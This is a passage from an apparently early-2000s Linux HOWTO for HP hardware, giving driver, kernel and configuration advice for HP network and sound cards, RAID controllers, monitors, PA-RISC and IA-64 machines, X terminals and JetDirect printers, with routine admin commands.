To use the D6692A card, you need to use a 2.1.122 kernel at least. Previous kernels didn't handled correctly the shared IRQ between the network and SCSI parts of the card. In particular, a standard RedHat 5.2 version doesn't allow to the network part to be supported. You have to update your kernel with a recent one (preferably 2.4.16) and the distribution with the complementary packages needed.

3C59x

The latest version of the 3c59x driver is available from the reference site.

There is also a version provided and supported by 3Com, available at http://support.3com.com/infodeli/tools/nic/linuxdownload.htm.

There are also other drivers available at ftp://ftp.scyld.com/pub/network/test/3c59x.c and http://www.uow.edu.au/~andrewm/linux/#3c59x-bc.

3C556

This card is supported by kernel 2.2.17 and upper.

e100 Intel driver

A driver is provided by Intel to support its cards based on the PRO/100 model, in its various versions. Depending on the model, you'll have a better support with this one, or with the standard eepro100 provided in the Linux kernel. It should allow a systematic support of the latest models. It's available at ftp://download.intel.com/df-support/2896/eng/e100-1.6.22.tar.gz

If you use the e100 driver, you could also use the ANS tools (Advanced Network Services) allowing you to do AFT (Adapter Fault Tolerance), ALB (Adaptive Load Balancing, including AFT), FEC or 802.3ad (Link Aggregation). For more details on these modes, please refer to the file associated with the file to download called readme.txt. It's available at ftp://download.intel.com/df-support/2895/eng/ians-1.4.27.tar.gz

To use this functionality, proceed as follow:

#ifconfig ethx down # For all adapters of the team
#ianscfg -a -tTEAM # Create the team
#ianscfg -C -tTEAM -Mmode # Determine the mode of the team
#ianscfg -a -tTEAM -methx # Add the interface ethx to the team
#ianscfg -a -tTEAM -vveth0 # Create the virtual interface veth0 associated to the team
#ianscfg -c -tTEAM # Activate the team
#ianscfg -w -f/etc/ians.conf # Save the configuration
#ifconfig veth0 xxx.yyy.zzz.ttt ... # Configure the virtual interface as usual

Other tools around this driver may be found on Intel's web site: http://appsr.intel.com/scripts-df/filter_results.asp?strOSs=39&strTypes=PLU%2CDRV%2CSPH%2CUTL&ProductID=416&OSFullName=Linux*&submit=Go%21

Wake on Lan

The Intel Pro/100 and 3Com 3C59x network cards used in majority in HP machines support the Wake on Lan function (WOL). All the details on http://www.scyld.com/expert/wake-on-lan.html,

Sound Chipset ESS Maestro

The chipset 2EM (Vendor id: 125d - device id: 1978) is supported in 2.2.14 kernel and upper. Version 3 (Vendor id: 125d - device id: 1998) on the other side is supported in 2.2.19pre5 kernel and upper. Cf : the site of the maestro3, driver, the AlsaRem. project (version >= 0.5.10) driver, and the commercial software Open Sound System . The latest version of the ESS Maestro driver is available from the reference site.

Sound Chipset AD1816

The latest version of the AD1816 driver is available from the reference site.

For Visualize workstations, it's recommended by HP to put in /etc/conf.modules :
alias sound ad1816
pre-install sound /sbin/insmod sound dmabuf=1
options ad1816 io=0x500 irq=5 dma=0 dma2=3 ad1816_clockfreq=33000
alias midi opl3
options opl3 io=0x388
(Source : http://www.hp.com/visualize/support/technotes/linux)

Sound Chipset SB Live

The latest version of the SB Live driver is available from the reference site.

Alsa Sound Drivers

The Alsa project has for primary goals to develop drivers to support sound cards in Linux, being fully compatible with current OSS drivers, bringing more functionalities and supporting more hardware.

All the information on this project, as well as sources under the GPL license, are available from their home page http://www.alsa-project.org

RPMs for RedHat 6.2 and Turbo Linux 6.0 distribution are available at the address http://hp-linux.org/aau/alsa

Sound Chipset Aztec 2320

For machines equipped with this chipset, Chuck Slivkoff reports that it works when you put the following parameters in /etc/conf.modules :
alias           char-major-116          snd
alias           char-major-14           soundcore

post-install    snd                     /sbin/modprobe snd-card-azt2320
pre-install     snd-card-azt2320        /sbin/modprobe isapnp
post-remove     snd-card-azt2320        /sbin/modprobe -r isapnp
post-install    snd-card-azt2320        bash -c '       /sbin/modprobe snd-mixer-oss;   /sbin/modprobe snd-pcm-oss;     '

DOS models

These models are delivered with MS-DOS only, in order to have a Linux Machine at the best price.

Turbo Linux models

These models are delivered ready to be installed with Turbo Linux, in order to have a Linux Machine at the best price (2 CDs + 30 days of support).

RedHat models

These models are delivered preloaded with a improved distribution based on RedHat (shameless plug, as I did it :-)

XU800

On that machine, the Bios doesn't give the right amount of memory which is in the machine to Linux. You need to use a line such as append="mem=xxxM" at the begining of /etc/lilo.conf where xxx is your RAM in MB.

The support of "big size" IDE disks (for example, 27 GB disks provided for the XU 800) on these machines needs a kernel 2.2.15 at least.

Omnibook XE

If you intend to use both the sound chipset and a PCMCIA card in this laptop, in order to avoid conflicts at input/output ports level, you'll have to modify the file /etc/pcmcia/config.opts to change the line 6 to
include port 0x300-0x4ff, port 0x1000-0x17ff
The NSC PC87108/338 chipset controlling IrDA on this model is supported by the 2.4.16 kernel. (Source : http://www.bits.bris.ac.uk/madmatt/laptop.shtml)

Some users had to apply the same tric for their Omnibook 4150 with success.

Omnibook XE3

It is recommended to not launch /sbin/halt under X11. The integrated modem card is not supported under Linux (ESS ES56CVM-PL).

The installation of a RedHat 6.2 distribution gives a problem when rebooting the system, at the PCMCIA initialisation. You have to install the latest version of the pcmcia-cs package at ftp://pcmcia-cs.sourceforge.net/pub/pcmcia-cs/

To use the network with this distribution, you need a tulip driver modified by P. "goldpenguin" Depouilly, and available at http://www.math.u-bordeaux.fr/~depouill/XE3/tulip.tar.gz

Omnibook 600

Pop-up mouse is supported. Olivier Florent wrote the original linux code. Grant Grundler rewrote it and published it. See obmouse.sourceforge.net

Omnibook 4150

If you use the Adaptec APA-1480 SCSI PCMCIA card, It must be in the top slot. If you don't put it in the top slot, the card that is in the top slot will not work. Also, even though the APA-1480 was supported long before this, the first time it worked on an Omnibook was kernel 2.2.16. There was some problems with the earlier cardbus drivers and the Omnibook. (Information from Bruce Kives)

Omnibook 6000

reboot doesn't work correctly on this machine, which remains blocked instead of rebooting. Use the poweroff button to reset it. (Information from Yuthay Yean)

Omnibook 6100

Soon more info ;-)

B models

B models use Ultra 3 SCSI sym53c1010 (A models use ultra 2).

To use the native SCSI bus of this machine, it"s necessary to use the sym53c8xx driver with a version upon 1.6c. A driver disk for RedHat distributions is available for versions 6.1, 6.2 and 7.0.

For the SuSE 7.0 distribution, you have to enter the manual mode to load the driver, as autodetection doesn"t work correctly.

LC 2000

In order to use the native SCSI controler you need to disable in the Bios the option "Reserve PCI Bus Numbers", in the menu PCI Device Setting (Indication of Gillynn Couch). Models P3493B and P5364B are equiped with an additional NetRaid 1M card.

LP1000r/LP2000r

To use the native SCSI bus of this machine, it"s necessary to use the sym53c8xx driver with a version upon 1.6c. A driver disk for RedHat distributions is available for versions 6.1, 6.2 and 7.0.

For the SuSE 7.0 distribution, you have to enter the manual mode to load the driver, as autodetection doesn"t work correctly.

LH 6000

In order to use the native SCSI controler you need to desactivate in the Bios the "reserver PCI Bus #s", in the menu PCI Device Setting. The PS/2 system doesn't work correctly with a RedHat 6.1 or 6.2 distribution. In order to correct that you need to either put the machine in MPS 1.1, in the BIOS, or use a kernel above 2.3.47 in MPS 1.4 mode. The network card doesn't work correctly with the kernel of the RedHat 6.2 distribution.

LT 6000r

In order to use the native SCSI controler you need to desactivate in the Bios the "reserver PCI Bus #s", in the menu PCI Device Setting.

BX Chipset

Intel BX Chipset (Memory Bus at 100 MHz) is supported by kernels above 2.0.34/2.1.103.

i820 Chipset

Coppermine 0.18 µm technology - 256 kB synchronous cache - Intel i820 Chipset

P4 - i850 Chipset

These machines are equiped with a Pentium IV processor, supported by kernels 2.2.18/2.4.0 and above. The RedHat 7.0, Mandrake 7.2 and TurboLinux 6.1 distributions, e.g., can be installed correctly on this kind of machines.

BAx

Attention, the XF86_SVGA server works correctly with this mother board embedded version only above XFree86 3.3.5, due to the use of different frequencies (In particular, use the updates for RedHat 5.2/6.0).

Boot disk for 3Com card

Creation of a custom RedHat 5.1 Boot disk

To be able to boot with the RedHat 5.1 boot disk, and to have the support of the 3C905B-TX card, you need to do the following :

Log as root. Go in the home directory  (~root)
#cd ~
Put there the 3c59x.c source module for the 3Com card
#ncftp ftp://ftp.scyld.com/pub/network/3c59x.c
Compile it
#gcc -DMODULE -D__KERNEL__ -Wall -Wstrict-prototypes -O6 -c 3c59x.c `[ -f /usr/include/linux/modversions.h ] && echo -DMODVERSIONS`
put the RedHat 5.1 floppy boot disk in the drive
you have to copy the initrd.img file from the floppy disk
#mcopy a:initrd.img /tmp
then uncompress it
#gzip -cd /tmp/initrd.img > /tmp/initrd.ext2
Mount the "file" filesystem thus obtained
#mount -t ext2 /tmp/initrd.ext2 /mnt/floppy -o loop
uncompress the modules provided
#gzip -cd /mnt/floppy/modules/modules.cgz > /tmp/modules.cpio
extract the modules
#cd /tmp ; mkdir modules ;
cd modules ; cat /tmp/modules.cpio | cpio -i
Copy the new updated module for the 3Com card
#cp ~/3c59x.o .
recreate the compressed cpio file
#ls | cpio -o | gzip -c9 > ../newmodules.cgz
replace the modules by their update
#cp ../newmodules.cgz /mnt/floppy/modules/modules.cgz
unmount the "file" filesystem
#umount /mnt/floppy
compress the "file" filesystem
#gzip -c9 /tmp/initrd.ext2 > /tmp/initrd.img
copy it on the floppy disk
#mcopy /tmp/initrd.img a:

3Com 996/Broadcom 5700 card (10/100/1000BT)

This driver is provided with latest RedHat 7.1, 7.2/Mandrake 8.0, 8.1 distributions, as kernel patches, but isn't included yet in the standard 2.4 kernel.

Boot/Driver disk for RedHat distribution

To be able to boot with a RedHat distribution (>6.1), and to have the recognition of a peripheral non supported in standard in the distribution, you need to do the following :

Download the delopment toolkit to create driver disk for the RedHat distribution at the following address: http://people.redhat.com/dledford

Install the sources of the driver in a directory and follow the instructions of the README file of the kit to create the modules necessary for the various kernel of the distributions.

Log as root. (~root)
put the RedHat floppy boot disk to modify in the drive
you have to copy the initrd.img file from the floppy disk
#mcopy a:initrd.img /tmp
then uncompress it
#gzip -cd /tmp/initrd.img > /tmp/initrd.ext2
Mount the "file" filesystem thus obtained
#mount -t ext2 /tmp/initrd.ext2 /mnt/floppy -o loop
create a temporary directory
#cd /tmp ; mkdir modules ; cd modules
uncompress and extract the modules provided
#gzip -cd /mnt/floppy/modules/modules.cgz | cpio -ivdum
Copy the new updated module. In case you add it, remove also other useless modules of the same size.
#cp ~/.../mod_devel_kit/rhxx/modules/x.y.z-iBOOT/module.o x.y.z-iBOOT
Also in case you add it, copy the modules needed for the installed kernel during reboot, and adapt the files pcitable, module-info and modules.dep by using the information provided in the development kit.
#cp -a ~/.../mod_devel_kit/rhxx/modules/x.y.z-i ~/.../mod_devel_kit/rhxx/modules/x.y.z-ismp .
#vi /mnt/floppy/modules/pcitable /mnt/floppy/modules/module-info /mnt/floppy/modules/modules.dep
recreate the compressed cpio file
#find * -print -depth | cpio -ov -H crc | gzip -c9 > /mnt/floppy/modules/modules.cgz
unmount the "file" filesystem
#umount /mnt/floppy
compress the "file" filesystem
#gzip -c9 /tmp/initrd.ext2 > /tmp/initrd.img
copy it on the floppy disk
#mcopy /tmp/initrd.img a:

LH 4

The LH4 doesn't seem to work correctly when not in Raid. Even with the latest Bios available at the time of the test (16.00), the problem remains. If you desactivate the Raid management, during the boot, the ncr53c8xx driver in Linux detects 4 controlers instead of 2 and boot doesn't end. To avoid that, you have to activate the Raid in the Bios and use each of the disk in Raid0 mode, which is quite the same as the solution without Raid at all.

This machine can not be installed correctly with RedHat 7.1 or Mandrake 8.0 distributions.

NetRaid card

These cards are equiped with an AMI Megaraid chipset and may support the following Raid levels : 0, 1, 3, 5, 10, 30 and 50.

AMI has recently sold his Megaraid division to LSILogic and information is now available from http://www.megaraid.lsilogic.com/

Some NetRaid cards, as well as the chipset integrated on the LH3 and LH4 mother boards are supported by recent version of the Linux kernel (2.0.36/2.2.19/2.4.16 typically - don't use 2.0.37/38).

For the RedHat 5.2 distribution, it's not possible to install the system on this type of controler, because it's not detected by the installation program. You have to use a specific floppy disk . This floppy disk should be used as input to the rawrite tool, for example. It works for systems with less than 1 GB of memory.

For the RedHat 6.0 distribution, you have to manually declare the existence of this card as a supplementary SCSI adapter, in order to use it directly during the installation. The megaraid driver isn't automatically detected.

To avoid strange messages during the boot printed by the megaraid driver, it's necessary to recompile it with the option -DHP (before kernel 2.4.2) or -DMEGA_HP_FIX (after) or even nothing now (> 2.4.13).

For the RedHat 6.1 distribution, the megaraid driver provided by the kernel does support only the first logical drive. In order to obtain the others, please recompile a 2.2 standard kernel.

You have to note that the integrated card of the LH3/4 realises a software parity checks and performs thus less efficiently than the NetRaid daughter cards. On the other side, LH3000/6000 are equiped with an integrated card doing hardware checks.

In the driver provided by AMI there is a Raid management tool megamgr, usable within Linux, and equivalent to the tool included in the software embedded on the controler. It's downloadable from http://www.ami.com/support/prodsearch.cfm?InpProdID=17

In case of problem, old versions are available there http://www.HyPer-Linux.org/HP-HOWTO/mirror/Software/107.zip, http://www.HyPer-Linux.org/HP-HOWTO/mirror/Software/1e08.zip and http://www.HyPer-Linux.org/HP-HOWTO/mirror/Software/mega115.tgz,.

Kernel patches and utility to monitor logical/physical drives on MegaRAID (NetRAID) Adapters have been made by Katsuyuki Yumoto. "This can detect physical drive failure, send E-Mail and syslog it. NetRAID-1Si/3Si, embeded NetRAID and NetRAID-1M/2M are okay to use. Don't use this for NetRAID-4M." You'll find the code at this address http://www.jpn.hp.com/biz/products/pcserver/linux/tech/megascan-20011113.tar.gz. Use with care as the versions I tried have conducted to kernel panic.

The NetRaid 1Si card isn't recognized correctly by RedHat 7.2.

NetRaid 1M/2M models

In addition to what is mentionned above, these models require a 1.14 version of the megaraid driver to work correctly. You may find a version of the sources of this driver at this address http://www.HyPer-Linux.org/HP-HOWTO/mirror/Software/ami-mr114b.tar.gz.

A driver disk for the RedHat distribution is available at the following address for the versions 6.2 and 7.0.

To use a driver disk on a RedHat 6.2 distribution, you need to boot with the latest boot disk made by RedHat. Either by remaking a CD-ROM containing it, or by using it directly. It"s available at the following address ftp://ftp.redhat.com/pub/redhat/linux/updates/6.2/en/os/images/i386/boot-20000407.img

You'll have data corruption by using these cards with the standard kernel of the RedHat 7.1 distribution. You necessaraly need this driver disk to use it correctly. This has been seen with both H.01.07 and H.01.08 firmware. Sources of the patch required to make this card work correctly with kernels 2.4.x (x < 7) are available here http://www.HyPer-Linux.org/HP-HOWTO/mirror/Software/mega115hp.tgz. The same problème is true with the Mandrake 8.0, but the 8.1 has the right driver.

NetRaid 4M card

These cards are equiped with a StrongARM Chipset and correspond to the Adaptec card AAC-3642. A driver is available at http://domsch.com/linux. The RedHat 7.0 includes in standard the driver even if that release of the kernel doesn't handle it normaly. Information are also available on the HP Navigator L.19.00.

Second IDE bus

On these machines, when the second ide bus is probed by the kernel, there is a timeout, which doesn't hurt, but is useless. To avoid it, just add to your lilo.conf the following line :

append="ide1=noprobe"

Processors

To desactivate processors on a Linux server, you need to give an option during the boot to the kernel such as :

Lilo boot: linux maxcpus=3

where the number of processors given in option is less by one of the number of processors wanted. For example, here we activate 4 processors.

HA Cluster

To use a High Availability Custer under Linux, you need to use additional software, such as :

  • HP MC Service Guard (Commercial)

  • Linux-HA project (free) and ext3

Multimedia keyboards

Some of the PCs provided by HP are equiped with a multimedia keyboard. You may use the additional keys thanks to the HotKeys daemon (Cf: http://freshmeat.net/projects/hotkeys/)

3.2.2. The monitors range

The following table provides all information on the support for this hardware by XFree86.

Table 3-14. HP Monitors and Linux

Reference | Name | Vert. F. (Hz) | Hor. F. (kHz) | Bandwidth (MHz) | Resol. | Freq. (Hz) | Tested
D2825A, D2825S | 15" HP Ultra VGA 1024 | 50-110 | 31-54 | 65 | 640x400, 640x480, 800x600, 1024x768 | 70, 60-72-75-85, 60-72-75-85, 60 | Yes
D2826A, D2826S | 15" HP 50 | 50-120 | 31-54 | 65 | 640x400, 640x480, 800x600, 1024x768 | 70, 60-75-85, 60-75-85, 60 | Yes
D2827A | 15" HP 51 | 50-120 | 31-54 | ??? | ??? | ??? | No
D2828A | 15" HP 52 | 50-120 | 30-54 | 65 | 640x400, 640x480, 800x600, 1024x768 | 70, 60-75-85, 60-75-85, 60 | No
D8897A | 15" HP 55 | ??? | 30-54 | ??? | ??? | ??? | No
P4795A | 15" HP 56 | ??? | 30-54 | ??? | ??? | ??? | No
D2832A | 15" HP M500 | 50-120 | 30-70 | 110 | 640x400, 640x480, 800x600, 1024x768, 1280x1024 | 70, 60-75-85, 72-75-85, 70-75-85, 60 | No
D2807A | 17" Ultra 1280 | 50-160 | 30-64 | ??? | ??? | ??? | Yes
D2837A | 17" HP70 | 50-120 | 30-70 | 110 | 640x400, 640x480, 800x600, 1024x768, 1280x1024 | 70, 75-85, 75-85, 75-85, 60 | Yes
D2838A | 17" HP M700 | 50-160 | 30-86 | ??? | ??? | ??? | No
D8906A | 17" HP P700 | 50-160 | 30-86 | 140 | ??? | ??? | No
D8907A | 17" HP P720 | ??? | 30-85 | ??? | ??? | ??? | No
D2840A | 17" Ergo 1280 | 50-150 | 31-92 | 160 | 512x384, 640x480, 800x600, 1024x768, 1152x864, 1280x1024, 1440x1080, 1600x1200 | 85, 100, 100, 100, 100, 85, 72, 60 | Yes
D8901A, D8902A | 17" HP71 | 50-120 | 30-60 | 110 | 640x400, 640x480, 800x600, 1024x768, 1280x1024 | 70, 60, 75-85, 75-85, 60 | No
D8904A, D8905A | 17" HP72 | ??? | 30-70 | ??? | ??? | ??? | No
D8900A | 17" HP75 | 50-160 | 30-86 (30-64 real) | 150 | 640x400, 640x480, 800x600, 1024x768, 1280x1024 | 70, 60-75-85, 75-85, 75-75-85, 75 | Yes
D2842A, D2842W | 19" HP90 | 50-200 | 30-96 | 203 | 640x400, 640x480, 800x600, 1024x768, 1280x1024, 1600x1200 | 70, 75-85, 75-85, 75-85, 75-85, 75 | Yes
D8910A | 19" HP P910 | 50-150 | 29-107 | 230 | 640x400, 640x480, 800x600, 1024x768, 1280x1024, 1600x1200 | 70, 60-85, 85, 75-85, 75-85, 75-85 | No
D8911A | 19" HP91 | ??? | 30-96 | ??? | ??? | ??? | No
D8912A | 19" HP P920 | ??? | 30-107 | ??? | ??? | ??? | No
A4031A | 20" | 48-150 | 30-82 | ??? | ??? | ??? | Yes
D2846A, A4576A | 21" HP P1100 | 50-160 | 30-107 | ??? | ??? | ??? | No
D2847A | 21" P1110 | 50-180 | 29-121 | 300 | ??? | ??? | Yes
D8915A | 21" P1120 | ??? | 30-121 | ??? | ??? | ??? | No
A4819A | 21" P1130 | ??? | ??? | ??? | ??? | ??? | No
A4033A | 21" | 50-120 | 30-80 | ??? | ??? | ??? | Yes
A1295A | 24" Wide Aspect | 50-160 | 30-96 | ??? | ??? | ??? | No
D5061A | 15,1" LCD HP | ??? | ??? | N/A | ??? | ??? | No
D5062A | 15" LCD HPL1510 | ??? | ??-75 | N/A | ??? | ??? | No
D5063A | 15" LCD HPL1520 | ??? | ??? | N/A | ??? | ??? | No
D5064A | 17" LCD HPL1720 | ??? | ??? | N/A | ??? | ??? | No
D5065A | 18,1" LCD HP L1800 | 56-85 | 30-80 | N/A | 640x350, 640x480, 720x400, 800x600, 832x624, 1024x768, 1152x870, 1152x900, 1280x1024 | 70, 60-75-85, 70, 60-75-85, 75, 60-75-85, 75, 66, 60-75 | Yes
D5069A, D5069C, D5069J, D5069L | 18" LCD HPL1810 | ??? | ??-75 | N/A | ??? | ??? | No
P4829A | 18" LCD HPL1820 | ??? | ??? | N/A | ??? | ??? | No

3.2.3. PA-Risc based computer range

The PA-Risc range is achitectured around a processor designed and realised by HP. First versions were produced in 1987. Currently the versions are named PA-8000 (8200, 8500, ...).

The initiative to port Linux on the PA-RISC architecture was taken during the Atlanta Linux exhibition in October 1998. HP has announced in February 1999 its sponsorship to to this port of Linux. This port is a native one, which is different from a preceding project which used MkLinux on machines based on PA-7200. The work is currently done with The Puffin Group bought by Linuxcare, and more precise information on the status may be found on the official Web site. In particular, interesting starting points may be found on http://www.parisc-linux.org/faq.html and http://www.parisc-linux.org/hw.html. Consult also ESIEE site (712 on Linux/PA) which participates actively to the port : http://mkhppa1.esiee.fr/en/ The last version is 0.9.3. It supports the following systems L1000, L2000, A500, A180, B, C, J, D, R, 742, 725, 735, 755, 705, 710, 720, 730, 750, 712, 715.

This version supports 32 and 64 bits modes, SMP (1-4 way), RAM up to 16 GB, HP-UX compatibility, X-Window, KDE, Gnome, 80% of Debian packages.

Debian has accepted PA-RISC as a supported architecture for the upcoming Debian GNU/Linux 3.0 (woody) stable release. http://www.debian.org/ports/hppa/.

Thomas Marteau has written a HOWTO on the way to boot concretely a Pa-Risc suystem. It's available at http://www.linuxdoc.org/HOWTO/PA-RISC-Linux-Boot-HOWTO/index.html.

FAQ is also available at http://dsportal.eservices.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,276,00.html.

There is on the other side for these machines a Linux project based on the MkLinux micro-kernel. This project as developped within OSF. The web site mentionning information is at http://www.gr.opengroup.org/mklinux/hppa/mkpa-rel.html. Links to more parisc ports are at http://parisc.workstations.org/.

3.2.4. The IA-64 range

HP has developed in collaboration with Intel a new generation of 64 bits processors called Itanium (IA-64). The first processor of this new generation, called Itanium, was born in September 2001. The initial port of Linux on IA-64 was published the 2nd of february, 2000 and the sources of the project are available through ftp://ftp.kernel.org/pub/linux/kernel/ports/ia64. This is the place of the latest sources for this project. More information on this topic may be found on these pages: http://www.hp.com/products1/linux/itanium/index.html (LSO), http://devresource.hp.com/devresource/Topics/IA64/IA64.html and http://www.hpl.hp.com/techreports/index.html (HP Labs) or on the reference site http://www.linuxia64.org

HP, as a founding member of the IA-64 Linux project, works on the port of the kernel, the initial version of gcc, gas, ld and emacs. Another major contribution of HP to this project is the availability of the software development kit available at http://www.software.hp.com/ia64linux. It allows to develop applications as well as kernel code on Linux/IA32 for IA64 platforms and moreover to test them through a simulator.

You may find some useful tools for IA-64 architecture on the ftp site of the HP labs.

Debian has accepted IA-64 as a supported architecture for the upcoming Debian GNU/Linux 3.0 (woody) stable release. Cf: http://www.debian.org/ports/ia64/. The IA-64 installer CD image is now available by either HTTP or FTP from these locations: http://gluck.debian.org/ia64/cd-20010810.iso.gz and ftp://gluck.debian.org/ia64/cd-20010810.iso.gz.

MandrakeSoft has announced that its Mandrake 8.1 for IA-64 version supports perfectly HP Itanium configurations as related on http://www.mandrakesoft.com/company/press/pr?n=/pr/products/1444en=en

The following key features which are all unique to IA-64 are described by Stéphane Eranian:

  • IA-64/EPIC goes beyond pure VLIW. Code is portable from one implementation to another. The timing dependencies are protected by stop bits. This allow unmodified code to run with no recompilation. Of course better performance is achieved by recompilation.

  • Very large register set: 128 floating point, 128 general registers.

  • Predication: a very elegant way of removing the cost of branch in if-then-else statments.

  • Speculation: a elegant mechanism to hide memory access latency by allowing load instructions to be hoisted from the location where they are needed without risking unwanted faults (like NULL pointer).

  • Register Stack Engine: a mechanism similar to the register window found a SPARC but much more powerful and dynamic. The window size varies on demand. Take advantage of the large register set and is used on function calls.

  • Hardware support for software pipelined-loop: this is the most powerful construct which takes advantages of : predication, large registers. This is a renaming scheme for general, floating point or predication registers which allows one to unroll loops without incuring the code expansion seen on other architectures.

  • All the multmedia-type instructions are support in IA-64 mode.

  • IA-32 hardware emulation: possibility to run unmodified Linux/ia32 applications on Linux/ia64 (requires some OS support).

  • On the system level: full 64 bit address space. Hardware walker to TLB misses.

  • Banked registers (16 of them) to help speed up interrupt processing.

Stéphane Eranian and David Mosberger will publish begining of 2002 a book called 'Design and implementation of the Linux/ia64 kernel' (Prentice Hall)

3.2.4.1. The IA64 server range

The following tables indicate the state of Linux support by these platforms :

Table 3-15. HP IA-64 Servers and Linux

Machine | Graphic Card | Linux support | Network Card | Linux support | SCSI Card | Linux support | Sound Card | Linux support | Tested
rx4610 (A6153A, A6447A) | ATI Rage 128 AGP 8MB | Yes XFree 4.1.0Rem. (ati) | Intel S82093A / i82559 10/100 BT | Yes driver eepro100 or e100 | Qlogic Ultra3 Wide PCI | Yes driver qla1280 | None | N/A | RedHat 7.0, 7.1, Mandrake 8.0, 8.1

3.2.4.2. The IA64 workstation range

The following tables indicate the state of Linux support by these platforms :

Table 3-16. HP IA-64 Workstations and Linux

Machine | Graphic Card | Linux support | Network Card | Linux support | SCSI Card | Linux support | Sound Card | Linux support | Tested
i2000 (A7202A, A7203A) | nVidia Quadro2 Pro AGP | Yes XFree 4.1.0Rem. (nv) | Intel PRO 10/100 BT | Yes driver eepro100 or e100 | Qlogic Ultra3 Wide PCI | Yes driver qla1280 | Cirrus Logic CS 4281 | Yes driver AlsaRem. | RedHat 7.1, Mandrake 8.1

3.2.4.3. Complementary information

To boot Linux on this kind of machine, you need to type in the initial environment
Verify the correspondance between logical drives and peripherals
Shell>map
Go to the logical drive corresponding to the CD-ROM
Shell>fs1:
Boot the system
fs1:>eli linux
Install your distribution as usual
The only difference is that you need to create a so-called 'EFI' partition of type FAT32 (Id:b) of around 128 MB. This partition will be mounted as /boot/efi later
After the installation, reboot and redo the initial sequence, verifying again the correspondance (which may have changed because the CD-ROM isn't available anymore, the numbers indicating the order of detection of bootable devices)
Shell>map
Shell>fs0:
Shell>dir
Verify the name of the kernel to boot
fs1:>eli linux-up
To automize the boot, you need to remove all options from the EFI boot except the EFI Shell and create a file in the EFI partition (/boot/efi) called startup.nsh containing:
fs0:
eli linux-up
fs0:
(From information provided by S. Eranian. Only mistakes are mine :-)

David Mosberger reports that recent versions (7.2) of Red Hat install a GPT partition and that you must enable the following two config options for the kernel to recognize them:
CONFIG_PARTITION_ADVANCED=y
CONFIG_EFI_PARTITION=y

3.2.5. X Terminals

HP proposes now NCD X terminals to replace the Envizex/Entria range.

The HP X terminal range (Entria, Envizex) is usable with a Linux server. More over, a Linux server may be a boot server for X terminals. To do it, a certain number of operations are mandatory.

We suppose we have a HP-UX machine named hpux, on which is installed Enware, a Linux server, named linux and an X Terminal with MAC address 08:00:09:db:8d:1c. The gateway on the network is at IP address 192.168.1.254, and the DNS name server at 192.168.1.1.

Commands to do are :

Enware Home Directory
hpux #cd /opt/hpxt/enware/xthome

Creation of a tar archive of this software
hpux #tar cvf ~ftp/en.tar * .??*

Download of the tar archive
linux #ftp hpux
Connected to hpux.
220 hpux  FTP server (Version wu-2.5.0(1) Wed Aug 25 12:50:08 EDT 1999) ready.
Name (ftp:Root):ftp
331 Password required for  ftp.
Password:(type your mail address here)
230-
[...]
230-
230 User ftp logged in.  Access restrictions apply.
ftp>lcd /tmp
Local directory now /tmp
ftp>get en.tar
200 PORT command successful.
150 Opening BINARY mode data connection for en.tar (57638340 bytes).
226 Transfer complete.
57638340 bytes received in [...]
ftp>quit
[...]

Creation of the target directory on the linux machine
linux #mkdir -p /tftpboot

Go there
linux #cd /tftpboot

untar the archive
linux #tar xvf /tmp/en.tar

Launch the X Font Server working on port 7100
linux #/usr/X11R6/bin/xfs -port 7100

Creation of the bootpd configuration file
linux #cat >> /etc/bootptab << EOF
global.prof::sm=255.255.255.0::ds=192.168.1.1::gw=192.168.1.254::ht=ethernet::bf=bin/C3253A:	 # Adjust to your X-terminal
tx1:hd=/tftpboot:tc=global.prof:ha=080009db8d1c:ip=192.168.1.100:
EOF
Install bootpd say from  http://rpmfind.net
linux #rpm -Uvh bootp-2.4.3-7.i386.rpm

Verify the existence of such a line in  /etc/inetd.conf, and restart if needed the server by killall -1 inetd
linux #grep bootps /etc/inetd.conf
bootps dgram   udp     wait    root    /usr/sbin/tcpd  bootpd

Now enkoy your X terminal by booting it

For a more detailed description, as well as the software related to that operation, consult also the page http://www.cb3rob.net/~sven/xterm.

3.2.6. The printing product range

3.2.6.1. General points

Printers may be connected directly to a machine through either a parallel port (generally), or a serial port, or even (more recently) through a USB port. They may also be directly wired to the network, for a global access; this is done thanks to a card put in a slot of the printer, or through the connexion of the parallel port of the printer to a sharing network box.

HP provides such boxes, called JetDirect, which allow thus to share personnal printers on the network, directly, without going through a machine. They exist for various network topologies (10 BT, 10/100 BT, Localtalk, 10B2) and offer the ability to access to the printer directly from machine which like Linux support the LPD protocol, by using a remote printer in the /etc/printcap file. The name of the queue to use is then raw.

An example of /etc/printcap file allowing to access to a printer, equiped with such a box or card, named lj4000 on the network is given below :

# REMOTE POSTSCRIPT 1200x1200 a4 {} PostScript Default {}

lj4000::sd=/var/spool/lpd/lj4000::rm=lj4000::rp=raw::if=/var/spool/lpd/lj4000/filter::mx#0::sh:

The configuration access to the box is done either through the WebJetAdmin tool provided also under Linux now, or by the telnet command. The default address of these products is 192.0.0.192. To connect to them initially, you just have to add an IP alias on your network interface, typically by :

#ifconfig eth0:0 192.0.0.1

and a route to that network (if not automatically created) typically by :
#route add -net 192.0.0.0

The access to the equipment is thus done simply by :
#telnet 192.0.0.192

Please pay attention to have only one such equipment on the network, at the same time, or you'll have duplicate IP addresses, which always causes problems. Note that HP manageable network equipments also use the same default address. The reading of the IP Alias mini HOWTO may be useful if you don't understand the previous paragraph :-).

It is of course possible to access through the network to an HP printer attached and declared directly on a Linux machine, thanks to the lpd service for the other Unix clients, through SaMBa for the clients of Microsoft systems (Win9x ou WinNTx) or through NetAtalk for the MacIntosh clients.

At last, SaMBa offers a tool, smbclient, which allows to print from a Unix/Linux machine to a printer wired directly on a Microsoft based PC, without any need to use a JetDirect system. All the details useful to realize this operation are described in the example file of smbprint provided with the SaMBa package and on the page http://www.medasys-digital-systems.fr/linux/samba-truc.html.

Communication between a Linux machine and a printer needs also, outside a network dialog, a discussion with an exchange language between the two elements. There are a lot of languages of that sort, such as PCL, Postscript or HPGL. To be able to print correctly, the tool providing the datas to print has to generate code known by the printer. Filters exist which allow to easily transform an output in one given format to another one. Thus the Ghostscript software authorizes the transformation of Postscript source in a great variety of output formats, as indicated by its invocation in the 'Available devices' part :

#gs -h
GNU Ghostscript 6.51 (2001-03-28)
Copyright (C) 2001 artofcode LLC, Benicia, CA.  All rights reserved.
Usage: gs [switches] [file1.ps file2.ps ...]
Most frequently used switches: (you can use # in place of =)
 -dNOPAUSE           no pause after page   | -q       `quiet', fewer messages
